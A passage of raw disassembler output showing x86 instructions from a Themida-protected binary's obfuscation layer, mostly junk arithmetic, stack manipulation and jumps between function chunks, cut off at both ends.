xor ebx, 51B05602h sub ebx, 3AC568EDh add ebp, 5FFC61FEh add ebp, ebx sub ebp, 5FFC61FEh pop ebx shl ebp, 8 neg ebp shl ebp, 6 shr ebp, 3 jmp loc_5639FC ; END OF FUNCTION CHUNK FOR sub_5687A9 ; --------------------------------------------------------------------------- loc_5630E1: ; CODE XREF: Themida_:0056B90Ej mov edi, 28FF60EDh shl edi, 6 or edi, 281E5FF7h sub edi, 0E6386C34h or ebp, edi pop edi jmp loc_562AED ; --------------------------------------------------------------------------- loc_5630FD: ; CODE XREF: Themida_:005694FEj sub esp, 4 jmp loc_56FDBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_563108: ; CODE XREF: sub_566504+216Dj pop edx mov eax, [esp-8+arg_4] push ecx jmp loc_566428 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563112: ; CODE XREF: sub_56755A-AE1Cj xchg edx, [esp+0Ch+var_C] pop esp jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56311B: ; CODE XREF: sub_56755A-4180j inc edx sub edx, 3F9578EAh sub edx, 68F2A93Bh add esi, edx mov edx, [esp+8+var_8] add esp, 4 push edi mov edi, 4 add esi, 73686A0Bh jmp loc_564737 ; --------------------------------------------------------------------------- loc_563141: ; CODE XREF: sub_56755A-7923j add eax, edi add eax, 3D452A1Ah push [esp+16h+var_18+2] pop edi add esp, 4 mov edx, eax pop eax push edx jmp loc_56A1B7 ; --------------------------------------------------------------------------- loc_563158: ; CODE XREF: sub_56755A-8BD9j add esp, 4 xchg ecx, [esp+24h+var_24] mov esp, [esp+24h+var_24] jmp loc_561F0D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563166: ; CODE XREF: Themida_:00560C0Cj xchg ecx, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] pop ebx jmp loc_5620EB ; --------------------------------------------------------------------------- loc_56317D: ; CODE XREF: Themida_:0056A0A8j mov ebp, 4 mov eax, ebp mov ebp, [esp] add esp, 4 jmp loc_55ED37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56318F: ; CODE XREF: sub_56755A+6247j pop esi jmp loc_56CB0E ; --------------------------------------------------------------------------- loc_563195: ; CODE XREF: sub_56755A-8D66j mov ch, dh mov edx, [esp+2Ah+var_2C+2] add esp, 4 add bl, ch mov cx, word ptr [esp+26h+var_28+2] jmp loc_5646F9 ; --------------------------------------------------------------------------- loc_5631AB: ; CODE XREF: sub_56755A-9881j pop edi jmp loc_568835 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5631B1: ; CODE XREF: Themida_:00565082j sub ebx, edi pop edi jmp loc_56E239 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5631B9: ; CODE XREF: sub_56755A+48E3j pop edx push ecx mov ecx, 18543E7Ch inc ecx add ecx, 11EF15EDh add eax, ecx pop ecx add eax, edx sub eax, 2A43546Ah pop edx push esi mov esi, 2 push 27D7h jmp loc_56C79D ; --------------------------------------------------------------------------- loc_5631E2: ; CODE XREF: sub_56755A+2DBBj add esp, 4 mov esi, ebx pop ebx push eax mov eax, 0 sub eax, esi mov esi, eax pop eax shr esi, 7 push ebp sub esp, 4 mov [esp+2Ch+var_2C], eax mov eax, 71D1318Eh shr eax, 5 add eax, 60D84D3Ch shr eax, 2 sub eax, 0E71F51CEh push ecx mov ecx, eax mov ebp, ecx pop ecx pop eax sub esi, 399B519Ch push ebx mov ebx, 407648C5h sub esi, ebx jmp loc_55B7FE ; --------------------------------------------------------------------------- loc_563232: ; CODE XREF: sub_56755A-4BBFj mov eax, [esp+0] add esp, 4 add ebp, 4 xchg ebp, [esp-6+arg_0+2] pop esp add edx, 4 push 3FE2h mov [esp-6+arg_0+2], esi jmp loc_560FEA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563255: ; CODE XREF: Themida_:0056AEB3j add esi, edi jmp loc_56575D ; --------------------------------------------------------------------------- loc_56325C: ; CODE XREF: Themida_:00564BCEj pop edi push ebx push ecx mov ecx, 6463DD4h shr ecx, 7 sub ecx, 2FC3649Dh xor ecx, 2DDB35DDh shl ecx, 3 jmp loc_569C99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_56327B: ; CODE XREF: sub_55FDEF+8B0Cj pop edi jmp loc_55EC93 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_563281: ; CODE XREF: Themida_:0056273Dj mov ebp, edi jmp loc_55F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563288: ; CODE XREF: sub_56755A-2C89j add esi, 662E22CEh jmp sub_55FDEF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563293: ; CODE XREF: Themida_:0055CCDFj not edx jmp loc_5607B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_56329A: ; CODE XREF: sub_56B774+3F49j push esi jmp loc_5609E4 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- loc_5632A0: ; CODE XREF: Themida_:0056DE31j push ebx mov ebx, 0F991162h push ebp jmp loc_56DBE2 ; --------------------------------------------------------------------------- loc_5632AC: ; CODE XREF: Themida_:00567070j inc ebx xor ebx, 28827191h add ebx, 7588F220h jmp loc_5652B9 ; --------------------------------------------------------------------------- loc_5632BE: ; CODE XREF: Themida_:00565EE5j sub esp, 4 mov [esp], ebx push 12EF12AEh pop ebx or ebx, 1D833078h shl ebx, 2 jmp loc_56BAA9 ; --------------------------------------------------------------------------- loc_5632D8: ; CODE XREF: Themida_:0055B7EEj add eax, 0FFFCD3A9h add edx, eax pop eax sub esp, 4 mov [esp], edx jmp loc_5629A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5632EE: ; CODE XREF: sub_56755A+7022j pop ebx shr bl, 8 add bl, 23h sub cl, bl pop ebx push 5FA4h mov [esp-0Ah+arg_4+2], eax mov al, 96h shl al, 7 jmp loc_55B735 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56330A: ; CODE XREF: sub_56F653-18Dj mov eax, [esp+0] jmp loc_55BB39 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_563312: ; CODE XREF: sub_56971C-33A3j sub ebp, 0FFFFFFFFh jmp loc_566DF0 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_56BA8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563322: ; CODE XREF: sub_56755A+8D55j push ecx jmp loc_566C70 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563328: ; CODE XREF: Themida_:00566068j push dword ptr [esp] pop edx jmp loc_56BB20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_563331: ; CODE XREF: sub_566504-D8j pop ecx add esp, 4 jmp loc_5644FD ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56333A: ; CODE XREF: sub_56E89A+6A8j mov edx, 17263D2Eh jmp loc_56C6AF ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E54A loc_563344: ; CODE XREF: sub_55E54A+FA48j xor esi, ecx pop ecx add ebx, esi pop esi jmp sub_56B444 ; END OF FUNCTION CHUNK FOR sub_55E54A ; --------------------------------------------------------------------------- loc_56334F: ; CODE XREF: Themida_:0055C52Aj mov ecx, 0A4B2D7Bh add [esp+8], ecx push dword ptr [esp] pop ecx add esp, 4 add [esp+4], edx sub dword ptr [esp+4], 0A4B2D7Bh push dword ptr [esp] jmp loc_565F87 ; --------------------------------------------------------------------------- loc_563373: ; CODE XREF: Themida_:0056602Fj xor ebp, 78E900BCh push ebp pop esi pop ebp jmp loc_56CC81 ; --------------------------------------------------------------------------- loc_563381: ; CODE XREF: Themida_:0055BFC9j pop edi add eax, ecx sub eax, 3644007Fh mov ecx, [esp] add esp, 4 push 1B6Ah mov [esp], esi push esp jmp loc_55D48B ; --------------------------------------------------------------------------- loc_56339D: ; CODE XREF: Themida_:0056F39Ej or [esp], al pushf jmp loc_56B931 ; --------------------------------------------------------------------------- loc_5633A6: ; CODE XREF: Themida_:0056FBD4j dec edx or edx, 229F566Ah and edx, 2AE720AEh shl edx, 6 sub edx, 0B9C00B7Ch push edx mov edi, [esp] add esp, 4 pop edx push 7D0Eh jmp loc_55C283 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5633D1: ; CODE XREF: sub_56755A+53F0j shr edx, 6 sub edx, 583F6EC7h jmp loc_56311B ; --------------------------------------------------------------------------- loc_5633DF: ; CODE XREF: sub_56755A-79D7j xor edi, 2F9A3D46h jmp loc_568191 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_5633EA: ; CODE XREF: sub_56F7FC+1j push eax jmp loc_56E865 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_5633F0: ; CODE XREF: Themida_:00562D1Dj shl esi, 8 neg esi dec esi push ebp mov ebp, 62AE3C59h not ebp jmp loc_56BECC ; --------------------------------------------------------------------------- loc_563403: ; CODE XREF: Themida_:00564A4Fj mov esi, 4 jmp loc_5629B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56340D: ; CODE XREF: sub_56755A+7B89j pop esi jmp loc_5697E7 ; --------------------------------------------------------------------------- loc_563413: ; CODE XREF: sub_56755A+7BFCj pop esp mov [esp-1Ch+arg_18], ebx jmp loc_567F5F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56341C: ; CODE XREF: Themida_:0056C62Ej and ebp, 2C4B32B6h shr ebp, 7 not ebp push edi mov edi, 3AF43633h xor ebp, edi pop edi push edi jmp loc_56673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563436: ; CODE XREF: sub_56755A+B64j add eax, 5CB62515h jmp loc_56BCBF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F861 loc_563440: ; CODE XREF: sub_55F861+25ECj pop ebx add ebx, ecx pop ecx jmp loc_55B9A7 ; END OF FUNCTION CHUNK FOR sub_55F861 ; --------------------------------------------------------------------------- loc_563449: ; CODE XREF: Themida_:0056BC41j mov [esp], edx mov edx, esp sub esp, 4 mov [esp], eax push ebp mov ebp, 4 jmp loc_56CF8E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E99C loc_56345F: ; CODE XREF: sub_55E99C+9E46j xor edi, 47B259E6h sub edi, 22867E09h or ebp, edi pop edi neg ebp xor ebp, 0D064D978h jmp loc_55D03F ; END OF FUNCTION CHUNK FOR sub_55E99C ; --------------------------------------------------------------------------- loc_56347B: ; CODE XREF: Themida_:0055FCCAj push 5538h mov [esp], ecx push 5EE20A5Fh mov ecx, [esp] add esp, 4 shr ecx, 8 sub ecx, 0EE73D718h sub esp, 4 mov [esp], ecx sub dword ptr [esp], 7A3551EBh jmp loc_5623EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_5634AC: ; CODE XREF: sub_560CAA+435Ej push ecx push [esp+8+var_4] pop ecx pop [esp+8+var_8] pop esp mov [esp+0], edx push eax pushf jmp loc_5647CB ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- loc_5634C0: ; CODE XREF: Themida_:0055F4E3j push ebx jmp loc_55F8DA ; --------------------------------------------------------------------------- push 3E03h mov [esp], eax mov eax, [esp] push esi jmp loc_561B8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5634D7: ; CODE XREF: sub_56755A+199Dj mov esp, [esp-1Ch+arg_18] add esp, 4 jmp loc_568D7F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_5634E2: ; CODE XREF: sub_56E55E-F054j add esp, 4 and eax, ecx push [esp+8+var_8] mov ecx, [esp+0Ch+var_C] add esp, 4 push ebp mov ebp, esp sub esp, 4 mov [esp+10h+var_10], ecx mov ecx, 4C176808h and ecx, 0D8B2748h inc ecx add ecx, 0F3FCDFFBh sub ebp, 31FD7721h add ebp, ecx add ebp, 31FD7721h pop ecx add ebp, 4 jmp sub_55BA18 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563525: ; CODE XREF: sub_56755A+825Ej shr dh, 4 add dh, 0DDh jmp loc_55D3A2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563530: ; CODE XREF: Themida_:0056F7C3j xor [esp], edx xor edx, [esp] jmp loc_560FDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56353B: ; CODE XREF: sub_56755A+6E24j pop ecx jmp loc_55CB22 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_563541: ; CODE XREF: sub_55CD7B+E868j push edi mov edi, 0AD11746h not edi add edi, 44CF03F4h jmp loc_56C958 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_55EAD3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56355D: ; CODE XREF: sub_56755A+7B9j add ebx, ebp add ebx, 0AB16CBFh mov ebp, [esp-24h+arg_20] add esp, 4 sub esp, 4 mov [esp-24h+arg_20], edi jmp loc_56BB4B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56357C: ; CODE XREF: Themida_:0056CDB5j add esi, 7B682427h mov ebp, [esp] add esp, 4 push 0C82h mov [esp], esi jmp loc_56DFEB ; --------------------------------------------------------------------------- loc_563595: ; CODE XREF: Themida_:0055F67Aj shr ebp, 2 sub ebp, 0B52FFC2Fh add edx, ebp mov ebp, [esp] add esp, 4 push ebx mov ebx, 86958FAh add ebx, 0C462C729h jmp loc_56690E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5635BA: ; CODE XREF: sub_56755A+150j pop esi add ebx, ecx push [esp-28h+arg_24] jmp loc_55DEF1 ; --------------------------------------------------------------------------- loc_5635C5: ; CODE XREF: sub_56755A-5756j add esp, 4 jmp loc_55FF22 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_5635CD: ; CODE XREF: sub_55CD7B+FBE7j push [esp+0Ch+var_8] jmp loc_56F1CC ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5635D6: ; CODE XREF: sub_56755A-3CCAj mov esp, [esp+4+var_4] jmp loc_568A5B ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_5635DE proc near ; CODE XREF: sub_56755A+DCAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0055CD67 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055D151 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055F708 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055FC77 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00560446 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00560842 SIZE 00000028 BYTES ; FUNCTION CHUNK AT 0056288C SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005638F4 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 0056398F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00565336 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566D7C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005686C7 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00568D8D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00569763 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056991B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056CF0D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D61F SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056F7C8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056F7EB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056F825 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00570200 SIZE 00000018 BYTES sub esp, 4 mov [esp+8+var_8], ecx push eax mov eax, ebx mov ecx, eax pop eax mov ebp, ecx mov ecx, [esp+8+var_8] add esp, 4 pop ebx xor [esp+arg_0], ebp mov ebp, [esp+0] add esp, 4 mov edx, [esp-4+arg_0] add esp, 4 push 58D8h mov [esp-4+arg_0], ebx jmp loc_56288C sub_5635DE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_563616 proc near ; CODE XREF: sub_56755A+2437j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C468 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055C9E7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055DB83 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0055E4AA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0055F379 SIZE 00000045 BYTES ; FUNCTION CHUNK AT 00568ACF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005692F9 SIZE 00000008 BYTES sub esp, 4 mov [esp+4+var_4], edi push ebx jmp loc_55F379 sub_563616 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570668 loc_563622: ; CODE XREF: sub_570668-13CABj xchg ebx, edi inc ebx jmp loc_5680EC ; END OF FUNCTION CHUNK FOR sub_570668 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56362A: ; CODE XREF: sub_56755A+5C50j pop esp add bx, 3FFCh sub bx, 96Fh push esi jmp loc_56E27C ; --------------------------------------------------------------------------- loc_56363B: ; CODE XREF: sub_56755A+4D3Cj add ebx, 15410257h sub ebx, 5F20B0C0h add edx, ebx jmp loc_56D404 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56364E: ; CODE XREF: sub_56971C-D553j push eax mov eax, 11E4245Eh and eax, 7B7D6389h shl eax, 1 jmp loc_570150 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563660: ; CODE XREF: sub_56755A+7F7j push 67CEh jmp loc_5665DE ; --------------------------------------------------------------------------- loc_56366A: ; CODE XREF: sub_56755A+1D5Fj xchg ebp, [esp+8+var_8] pop ebx push eax jmp sub_55EC76 ; --------------------------------------------------------------------------- loc_563674: ; CODE XREF: sub_56755A-B687j mov edx, 71090D74h push ecx mov ecx, 2E10701Bh add edx, ecx pop ecx sub edx, ebx sub edx, 2E10701Bh push [esp+0Ah+var_C+2] pop ebx add esp, 4 jmp sub_563973 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5600E2 loc_563699: ; CODE XREF: sub_5600E2+20j mov ebp, [esp+8+var_8] jmp loc_567392 ; END OF FUNCTION CHUNK FOR sub_5600E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_5636A1: ; CODE XREF: sub_55FE13+3E3Ej push eax mov al, dl jmp loc_55E9EE ; END OF FUNCTION CHUNK FOR sub_55FE13 ; =============== S U B R O U T I N E ======================================= sub_5636A9 proc near ; CODE XREF: sub_56755A-BF1Cj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C7E2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055CD03 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0055FE9F SIZE 00000011 BYTES ; FUNCTION CHUNK AT 005655A7 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00568435 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00568E63 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056C547 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056CB35 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E95B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056EF35 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0056F55D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 005702C5 SIZE 00000018 BYTES push ebx jmp loc_56C547 sub_5636A9 endp ; --------------------------------------------------------------------------- loc_5636AF: ; CODE XREF: Themida_:00569AB1j and edx, 4ABB5FEDh and edx, 334A20B1h shr edx, 3 jmp loc_565B87 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56532B loc_5636C3: ; CODE XREF: sub_56532B+6j mov esi, ebp jmp loc_55EFBC ; END OF FUNCTION CHUNK FOR sub_56532B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_5636CA: ; CODE XREF: sub_56755A-2FB1j shr ebx, 3 add ebx, 59D72871h jmp loc_569DA2 ; --------------------------------------------------------------------------- loc_5636D8: ; CODE XREF: sub_56755A+C9Bj shl esi, 8 push ecx mov ecx, 0E5FE9302h jmp loc_5601E2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5636E6: ; CODE XREF: Themida_:0056F7B2j pop ecx add edx, ebx pop ebx jmp loc_569D7D ; --------------------------------------------------------------------------- loc_5636EF: ; CODE XREF: Themida_:00565518j push edx mov edx, esp jmp loc_5656E2 ; --------------------------------------------------------------------------- loc_5636F7: ; CODE XREF: Themida_:0056AE5Fj push small 6B01h mov [esp], ax jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561C3A loc_563704: ; CODE XREF: sub_561C3A+2Cj pop ebx pop eax add esi, edi add esi, 55BB2418h push edi jmp loc_56691B ; END OF FUNCTION CHUNK FOR sub_561C3A ; --------------------------------------------------------------------------- loc_563714: ; CODE XREF: Themida_:00560B43j push cx pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56371C: ; CODE XREF: Themida_:0056FE39j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5627EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B444 loc_563733: ; CODE XREF: sub_56B444+Fj sub bl, al add bl, 35h push small 663Dh mov word ptr [esp+2+var_4+2], cx sub esp, 4 mov [esp+6+var_8+2], edx mov dh, 0CCh push bx mov bl, 0D0h jmp loc_567B86 ; END OF FUNCTION CHUNK FOR sub_56B444 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563754: ; CODE XREF: sub_56755A+B94j push edx mov edx, 381C1FB9h add edi, edx pop edx and ecx, edi mov edi, [esp+0Ah+var_C+2] push ebp mov ebp, esp jmp loc_568340 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B3505 loc_56376A: ; CODE XREF: sub_5B3505-57F9Bj mov [esp+2Ch+var_2E+2], eax mov al, 0CDh xor al, 4Fh jmp loc_55BC03 ; END OF FUNCTION CHUNK FOR sub_5B3505 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5687A9 loc_563776: ; CODE XREF: sub_5687A9-4D8Ej pop ebx mov edi, [esp+0] add esp, 4 add ebx, edi push ecx jmp sub_55FFC1 ; END OF FUNCTION CHUNK FOR sub_5687A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563788: ; CODE XREF: sub_56755A+6C7Fj push 0B11h mov [esp+12h+var_14+2], edi push [esp+12h+var_10+2] mov edi, [esp+16h+var_18+2] add esp, 4 pop [esp+12h+var_14+2] mov esp, [esp+0Eh+var_10+2] push 381Fh mov [esp+12h+var_14+2], eax push ebp pop eax pop ebp push ebx jmp loc_561161 ; --------------------------------------------------------------------------- loc_5637B4: ; CODE XREF: sub_56755A+808j mov esp, [esp+12h+var_14+2] xchg ecx, [esp+12h+var_14+2] jmp loc_568D56 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_5637BF: ; CODE XREF: Themida_:005622AEj xor edi, ebp jmp loc_568070 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_5637C6: ; CODE XREF: sub_56CB7D-7AB7j push edx not [esp+14h+var_14] push [esp+14h+var_14] pop edx jmp loc_56A321 ; --------------------------------------------------------------------------- loc_5637D3: ; CODE XREF: sub_56CB7D-4243j shr eax, 12h jmp loc_55CC81 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; =============== S U B R O U T I N E ======================================= sub_5637DB proc near ; CODE XREF: sub_568EFC+6C38j ; FUNCTION CHUNK AT 0055F4BA SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005627D2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005661ED SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569686 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056DFF4 SIZE 00000017 BYTES push ebp push eax pop ebp pop eax inc eax xchg eax, ebp neg ebp not ebp jmp loc_56DFF4 sub_5637DB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5637EA: ; CODE XREF: Themida_:0055DAFFj push edx mov edx, 34A0A4Eh xor edx, 78CD556Fh neg edx add edx, 1 jmp loc_55C848 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563803: ; CODE XREF: sub_56755A-27C3j push [esp+12h+var_14+2] pop edi push 6941h mov [esp+16h+var_18+2], ebp push esp pop ebp add ebp, 4 add ebp, 4 jmp sub_56E1F0 ; --------------------------------------------------------------------------- loc_56381F: ; CODE XREF: sub_56755A+4C9j mov edx, 20030B4Ch push ebx push ebp mov ebp, 2B9F08F1h shl ebp, 3 shl ebp, 1 jmp loc_561A6C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_563835: ; CODE XREF: Themida_:0056243Fj mov esi, 4 add ebp, esi pop esi add ebp, 4 push ebp push dword ptr [esp+4] jmp loc_5660B4 ; --------------------------------------------------------------------------- loc_56384A: ; CODE XREF: Themida_:0055E449j inc ebx push ebp jmp loc_565990 ; --------------------------------------------------------------------------- loc_563851: ; CODE XREF: Themida_:0055E39Dj pop ecx sub ecx, 3E260FE5h jmp loc_56E76C ; --------------------------------------------------------------------------- loc_56385D: ; CODE XREF: Themida_:00562E88j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_55ED60 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_563871: ; CODE XREF: sub_56755A+6D1j shl al, 7 jmp loc_56BFB0 ; --------------------------------------------------------------------------- loc_563879: ; CODE XREF: sub_56755A+7DF7j mov edx, ebx pop ebx add ebp, edx mov edx, [esp+1Ah+var_1C+2] add esp, 4 xor ebp, [esp+16h+var_18+2] xor [esp+16h+var_18+2], ebp xor ebp, [esp+16h+var_18+2] jmp loc_5635D6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_563895: ; CODE XREF: sub_563973+20DCj pop ecx jmp loc_566AD6 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56389B: ; CODE XREF: sub_56755A+918Aj jmp loc_55B555 ; --------------------------------------------------------------------------- loc_5638A0: ; CODE XREF: sub_56755A+1B75j add eax, ebx add eax, 45F32F76h pop ebx xchg eax, [esp+12h+var_14+2] pop esp sub [esp+0Eh+var_10+2], eax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_5638B5: ; CODE XREF: sub_55CD7B+12BE5j pop ecx sub esp, 4 mov [esp+0], ebp jmp loc_56111F ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_5638C1: ; CODE XREF: Themida_:0056870Fj or esi, 4CBC223Dh xor esi, 56814A28h sub eax, esi pop esi sub ebx, 32972666h jmp loc_568F30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A468 loc_5638DB: ; CODE XREF: sub_56A468-E795j xor ebp, ecx push ecx push ebx pop ecx pop ebx not ebx xchg ebx, 